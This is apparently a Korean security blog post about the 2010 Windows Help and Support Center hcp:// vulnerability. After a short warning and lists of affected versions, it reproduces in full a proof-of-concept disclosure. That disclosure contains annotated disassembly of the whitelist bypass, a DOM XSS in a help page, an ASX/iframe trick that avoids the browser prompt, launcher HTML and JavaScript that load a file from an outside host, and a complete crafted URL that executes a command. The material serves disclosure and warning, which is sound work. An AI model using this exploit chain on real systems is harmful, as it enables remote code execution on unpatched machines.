[MS]Vulnerability in Windows Help and Support Center Could Allow Remote Code Execution

마이크로소프트(MicroSoft)의 Windows XP와 Windows Server 2003에서 도움말 및 지원센터에 관련 된 취약점이 발견되었다.

현재 POC가 공개되어서 0-Day공격으로 이어질 가능성이 농후하다.

당분간 파일이 첨부 된 스팸메일이나 보안에 취약한 사이트에는 들어가지 않는 것이 좋을 듯 하다.

- 관련 내용

MS 홈페이지 : http://www.microsoft.com/technet/security/advisory/2219475.mspx

하우리 홈페이지 : http://www.hauri.co.kr/customer/security/alert_view.html?intSeq=51&page=1

- Affected Software(영향받는 소프트웨어)

Windows XP Service Pack 2 and Windows XP Service Pack 3

Windows XP Professional x64 Edition Service Pack 2

Windows Server 2003 Service Pack 2

Windows Server 2003 x64 Edition Service Pack 2

Windows Server 2003 with SP2 for Itanium-based Systems

- Non-Affected Software(영향받지 않는 소프트웨어)

Microsoft Windows 2000 Service Pack 4

Windows Vista Service Pack 1 and Windows Vista Service Pack 2

Windows Vista x64 Edition Service Pack 1 and Windows Vista x64 Edition Service Pack 2

Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2

Windows 7 for 32-bit Systems

Windows 7 for x64-based Systems

Windows Server 2008 R2 for x64-based Systems

Windows Server 2008 R2 for Itanium-based Systems

(참고사항)

Exploit Code로 인하여 일부 보안제품에서 블로그를 탐지 할 수 있음^^ㅋ

- Exploit Code(POC)

Microsoft Windows Help Centre Handles Malformed Escape Sequences Incorrectly

----------------------------------------------------------------------------

Help and Support Centre is the default application provided to access online

documentation for Microsoft Windows. Microsoft supports accessing help documents

directly via URLs by installing a protocol handler for the scheme "hcp", 

a typical example is provided in the Windows XP Command Line Reference,

available at http://technet.microsoft.com/en-us/library/bb490918.aspx.

Using hcp:// URLs is intended to be safe, as when invoked via the registered

protocol handler the command line parameter /fromhcp is passed to the help

centre application. This flag switches the help centre into a restricted mode,

which will only permit a whitelisted set of help documents and parameters.

This design, introduced in SP2, is reasonably sound. A whitelist of trusted

documents is a safe way of allowing interaction with the documentation from

less-trusted sources. Unfortunately, an implementation error in the whitelist

allows it to be evaded.

URLs are normalised and unescaped prior to validation using

MPC::HTML::UrlUnescapeW(), which in turn uses MPC::HexToNum() to translate URL

escape sequences into their original characters, the relevant code from

helpctr.exe 5.1.2600.5512 (latest at time of writing) is below.

.text:0106684C Unescape:

.text:0106684C        cmp     di, '%'              ; di contains the current wchar in the input URL.

.text:01066850        jnz     short LiteralChar    ; if this is not a '%', it must be a literal character.

.text:01066852        push    esi                  ; esi contains a pointer to the current position in URL to unescape.

.text:01066853        call    ds:wcslen            ; find the remaining length.

.text:01066859        cmp     word ptr [esi], 'u'  ; if the next wchar is 'u', this is a unicode escape and I need 4 xdigits.

.text:0106685D        pop     ecx                  ; this sequence calculates the number of wchars needed (4 or 2).

.text:0106685E        setz    cl                   ; i.e. %uXXXX (four needed), or %XX (two needed).

.text:01066861        mov     dl, cl

.text:01066863        neg     dl

.text:01066865        sbb     edx, edx

.text:01066867        and     edx, 3

.text:0106686A        inc     edx

.text:0106686B        inc     edx

.text:0106686C        cmp     eax, edx             ; test if I have enough characters in input to decode.

.text:0106686E        jl      short LiteralChar    ; if not enough, this '%' is considered literal.

.text:01066870        test    cl, cl

.text:01066872        movzx   eax, word ptr [esi+2]

.text:01066876        push    eax

.text:01066877        jz      short NotUnicode

.text:01066879        call    HexToNum             ; call MPC::HexToNum() to convert this nibble (4 bits) to an integer.

.text:0106687E        mov     edi, eax             ; edi contains the running total of the value of this escape sequence.

.text:01066880        movzx   eax, word ptr [esi+4]

.text:01066884        push    eax

.text:01066885        shl     edi, 4               ; shift edi left 4 positions to make room for the next digit, i.e. total <<= 4;

.text:01066888        call    HexToNum             

.text:0106688D        or      edi, eax             ; or the next value into the 4-bit gap, i.e. total |= val.

.text:0106688F        movzx   eax, word ptr [esi+6]; this process continues for the remaining wchars.

.text:01066893        push    eax

.text:01066894        shl     edi, 4

.text:01066897        call    HexToNum

.text:0106689C        or      edi, eax

.text:0106689E        movzx   eax, word ptr [esi+8]

.text:010668A2        push    eax

.text:010668A3        shl     edi, 4

.text:010668A6        call    HexToNum

.text:010668AB        or      edi, eax

.text:010668AD        add     esi, 0Ah              ; account for number of bytes (not chars) consumed by the escape.

.text:010668B0        jmp     short FinishedEscape

.text:010668B2

.text:010668B2 NotUnicode:                             

.text:010668B2        call    HexToNum             ; this is the same code, but for non-unicode sequences (e.g. %41, instead of %u0041)

.text:010668B7        mov     edi, eax

.text:010668B9        movzx   eax, word ptr [esi]

.text:010668BC        push    eax

.text:010668BD        call    HexToNum

.text:010668C2        shl     eax, 4

.text:010668C5        or      edi, eax

.text:010668C7        add     esi, 4               ; account for number of bytes (not chars) consumed by the escape.

.text:010668CA

.text:010668CA FinishedEscape:

.text:010668CA        test    di, di

.text:010668CD        jz      short loc_10668DA

.text:010668CF

.text:010668CF LiteralChar:

.text:010668CF        push    edi                  ; append the final value to the normalised string using a std::string append.

.text:010668D0        mov     ecx, [ebp+unescaped]

.text:010668D3        push    1

.text:010668D5        call    std::string::append

.text:010668DA        mov     di, [esi]            ; fetch the next input character.

.text:010668DD        test    di, di               ; have we reached the NUL terminator?

.text:010668E0        jnz     Unescape             ; process next char.

This code seems sane, but an error exists due to how MPC::HexToNum() handles

error conditions, the relevant section of code is annotated below.

.text:0102D32A        mov     edi, edi

.text:0102D32C        push    ebp

.text:0102D32D        mov     ebp, esp              ; function prologue.

.text:0102D32F        mov     eax, [ebp+arg_0]      ; fetch the character to convert.

.text:0102D332        cmp     eax, '0'

.text:0102D335        jl      short CheckUppercase  ; is it a digit?

.text:0102D337        cmp     eax, '9'

.text:0102D33A        jg      short CheckUppercase

.text:0102D33C        add     eax, 0FFFFFFD0h       ; atoi(), probably written val - '0' and optimised by compiler.

.text:0102D33F        jmp     short Complete   

.text:0102D341 CheckUppercase:

.text:0102D341        cmp     eax, 'A'

.text:0102D344        jl      short CheckLowercase  ; is it an uppercase xdigit?

.text:0102D346        cmp     eax, 'F'

.text:0102D349        jg      short CheckLowercase

.text:0102D34B        add     eax, 0FFFFFFC9h       ; atoi()

.text:0102D34E        jmp     short Complete   

.text:0102D350 CheckLowercase:

.text:0102D350        cmp     eax, 'a'

.text:0102D353        jl      short Invalid         ; lowercase xdigit?

.text:0102D355        cmp     eax, 'f'

.text:0102D358        jg      short Invalid    

.text:0102D35A        add     eax, 0FFFFFFA9h       ; atoi()

.text:0102D35D        jmp     short Complete    

.text:0102D35F Invalid:     

.text:0102D35F        or      eax, 0FFFFFFFFh       ; invalid character, return -1

.text:0102D362 Complete:   

.text:0102D362        pop     ebp

.text:0102D363        retn    4

Thus, MPC::HTML::UrlUnescapeW() does not check the return code of

MPC::HexToNum() as required, and therefore can be manipulated into appending

unexpected garbage onto std::strings. This error may appear benign, but we can

use the miscalculations produced later in the code to evade the /fromhcp

whitelist.

Assuming that we can access arbitrary help documents (full details of how the

MPC:: error can be used to accomplish this will be explained below), we must

identify a document that can be controlled purely from the URL used to access it.

After browsing the documents available in a typical installation, the author

concluded the only way to do this would be a cross site scripting error. After

some careful searching, a candidate was discovered:

hcp://system/sysinfo/sysinfomain.htm?svr=<h1>test</h1>

This document is available in a default installation, and due to insufficient

escaping in GetServerName() from sysinfo/commonFunc.js, the page is vulnerable

to a DOM-type XSS. However, the escaping routine will abort encoding if characters

such as '=' or '"' or others are specified. 

It's not immediately obvious that this error is still exploitable, simple

tricks like <img src=bad onerror=code> don't apply, and <script>code</script>

isn't helpful as the code isn't evaluated again. In situations like this, the

best course of action is to harass lcamtuf until he gives you the solution,

which of course his encyclopaedic knowledge of browser security quirks produced

immediately.

<script defer>code</script>

The defer property is an IE-ism which solves the problem, documented by

Microsoft here http://msdn.microsoft.com/en-us/library/ms533719%28VS.85%29.aspx.

Now that we are armed with knowledge of this trick, because these help

documents are in a privileged zone, we can simply execute commands.

You can test this with a command like so (assuming a recent IE):

C:\> ver

Microsoft Windows XP [Version 5.1.2600]

C:\> c:\windows\pchealth\helpctr\binaries\helpctr.exe -url "hcp://system/sysinfo/sysinfomain.htm?svr=<script defer>eval(unescape('Run%28%22calc.exe%22%29'))</script>"

C:\>

While this is fun, this isn't a vulnerability unless an untrusted third party

can force you to access it. Testing suggests that by default, accessing an

hcp:// URL from within Internet Explorer >= 8, Firefox, Chrome (and presumably

other browsers) will result in a prompt. Although most users will click through

this prompt (perfectly reasonable, protocol handlers are intended to be safe),

it's not a particularly exciting attack.

I've found a way to avoid the prompt in a default Windows XP installation in all

major browsers, The solution is to invoke the protocol handler from within an

<iframe> in an ASX HtmlView element. There are probably other ways.

http://en.wikipedia.org/wiki/Advanced_Stream_Redirector

The version of Windows Media Player that is available by default in Windows XP

is WMP9, which installs an NPAPI and ActiveX plugin to render windows media

content. Later versions also can be used, with some minor complications.

Thus, the attack will look like this:

$ cat simple.asx 

<ASX VERSION="3.0">

<PARAM name="HTMLView" value="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html"/>

<ENTRY>

   <REF href="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/bug-vs-feature.jpg"/>

</ENTRY>

</ASX>

Where starthelp.html contains something like:

$ cat starthelp.html 

<iframe src="hcp://...">

Forcing a user to read an .ASX file can be achieved in a cross-browser manner like so:

$ cat launchurl.html 

<html>

<head><title>Testing HCP</title></head>

<body>

  <h1>OK</h1>

  <script>

        // HCP:// Vulnerability, Tavis Ormandy, June 2010.

        var asx = "http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/simple.asx";

        if (window.navigator.appName == "Microsoft Internet Explorer") {

            // Internet Explorer

            var o = document.createElement("OBJECT");

            o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");

            o.openPlayer(asx);

        } else {

            // Mozilla, Chrome, Etc.

            var o = document.createElement("IFRAME");

            o.setAttribute("src", asx);

            document.body.appendChild(o);

        }

  </script>

</body>

</html>

Therefore, we have the following interactions between multiple complex systems

chained together:

- From an html page, email, document, or other application force a user to

  fetch a .ASX file containing an HtmlView element.

- From the HtmlView element, invoke the hcp protocol handler that would normally

  require confirmation.

- From the HCP Protocol handler, bypass the /fromhcp whitelist by using the

  string miscalculations caused by failing to check the return code of

  MPC::HexToNum().

- Once the whitelist has been defeated, invoke the Help document with a known

  DOM XSS due to GetServerName() insufficient escaping.

- Use the defer property of a script tag to execute script in a privileged zone

  even after the page has been rendered.

- Invoke an arbitrary command using the wscript.shell object.

Figuring out how to use the MCP::HexToNum() error to defeat the /fromhcp

whitelist took some analysis, but the result looks like the following.

hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%

A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%

%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A

%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%

A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=%3

Cscript%20defer%3Eeval%28unescape%28%27Run%2528%2522calc.exe%2522%2529%27%29%29%

3C/script%3E